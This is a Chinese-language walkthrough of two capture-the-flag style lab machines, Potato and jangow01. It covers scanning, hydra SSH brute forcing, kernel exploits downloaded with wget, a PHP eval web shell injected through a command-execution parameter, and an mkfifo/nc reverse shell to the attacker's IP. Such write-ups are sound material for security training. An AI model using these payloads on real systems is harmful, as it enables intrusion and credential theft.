目录
Potato靶场
信息收集
主机发现
nmap 192.168.56.0/24 -sN
确认靶机ip为192.168.56.133。
端口扫描
# -p- 扫描所有端口
nmap 192.168.56.133 -p- -A
开放了80和7120端口。80端口一个大土豆,静态页面没东西。7120端口是一个ssh服务。
目录扫描
dirsearch -u http://192.168.56.133
info.php是一个phpinof()页面,内容如下:
渗透
根据目录扫描结果80端口没有突破点就看7120的ssh。
ssh爆破
使用九头蛇进行爆破,猜测用户名为potato,所以这里就是爆破密码。可以用kali自带的密码字典,在/usr/share/wordlists下,爆不出来就换个字典。
# hydra -l 用户名 -P 字典 ssh://ip:端口
hydra -l potato -P nmap.lst ssh://192.168.56.133:7120
拿到密码letmein。成功登录。
提权
几个常见的Linux提权方式,suid提权、sudo提权、系统内核提权。
# suid提权
find / -user root -type f -perm 4000 -ls 2>/dev/null
# sudo提权
sudo -l
都没法提权。尝试内核提权,uname -a 查看内核信息。
再收集版本号结合内核信息查找exp。cat /etc/*release
searchsploit查找exp。
searchsploit ubuntu 14.04
找到了合适的exp,将exp复制到当前目录下方便后面使用。
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
想办法把37292.c放到目标机。开启一个web服务,使用python搭建简易的http服务器,在哪个目录运行网站根目录就在哪儿,所以不用切换目录。
python3 -m http.server 80
成功开启。目标机到web服务器上下载37292.c。
wget http://192.168.56.128/37292.c
下载后,修改37292.c权限,接下来gcc编译37292.c,生成一个可执行文件为exp。
gcc 37292.c -o exp
# 执行exp
./exp
成功提权。找到flag。
jangow01靶场
信息收集
主机发现和端口扫描
# 扫描192.168.56.0/24网段并返回端口版本
nmap 192.168.56.0/24 -sV -T4
攻击机(kali) | 192.168.56.102 |
---|---|
靶机 | 192.168.56.118 |
端口扫描结果是开放了80、21端口。
web目录扫描
dirb http://192.168.56.118
web渗透
根据目录扫描的结果挨个访问。site目录,进入后是一个网站,找到一个疑似命令执行的点,这种也可能是ssrf,都尝试一下。
http://192.168.56.118/site/busque.php?buscar=
http://192.168.56.118/site/busque.php?buscar=id
确认是一个命令执行。继续做一些信息收集,netstat -ano 查看开放端口。
根据返回结果发现除了扫描出来的80,21端口开放还有3306和22端口开放,所以这里应该有防火墙。
# 找root权限账户
cat /etc/passwd | grep :0
# 找有shell权限的用户
cat /etc/passwd | grep /bin/bash
root和jangow01这两个账号有shell权限。
getshell
既然存在命令执行,写入一句话木马蚁剑getshell。
http://192.168.56.118/site/busque.php?buscar=echo '<?php @eval($_POST['shell']); ?>' >> getshell.php
成功连接后到处看看,发现备份文件,给出一个账号密码。
第二组账号密码。
有了密码但是没有登录的位置。
反弹shell
蚁剑上传一个反弹shell。(试了常规的bash反弹shell不成功不知道原因,端口也需要是443,因为端口80和443一般不会做限制。)
# 蚁剑写入反弹shell
# 反弹shell内容如下
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 443 >/tmp/f');?>
# 攻击机监听
nc -lnvp 443
访问该文件shell.php,攻击机显示连接成功。
# 切换为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
到当前用户的家目录看看有什么信息。
发现user.txt,内容是一串MD5加密内容,在线解密结果为空。
提权
前面没找到啥可以利用的信息,尝试内核提权。uname -a内核信息。根据内核信息使用msf查找exp。
searchsploit ubuntu 4.4.0
用45010.c。该文件在/usr/share/exploitdb/exploits/linux/local/目录下。按以往做法,开一个web服务,把45010.c挂载到web服务下,蚁剑靶机终端下载45010.c即可。
# 切换到45010.c所在的目录
cd /usr/share/exploitdb/exploits/linux/local/
# 该目录下开启web服务
python3 -m http.server 80
# 靶机终端下载
wget http://192.168.56.102/45010.c
但是发现靶机无法访问我们的攻击机,无法下载web服务器上的45010.c。此时回头想想通过web服务器太复杂了而且此处走不通,有简单粗暴的方法:将45010.c直接通过蚁剑上传。
给45010.c增加可执行权限,再进行编译。
./45010。成功提取。
最终flag在/root/proof.txt内。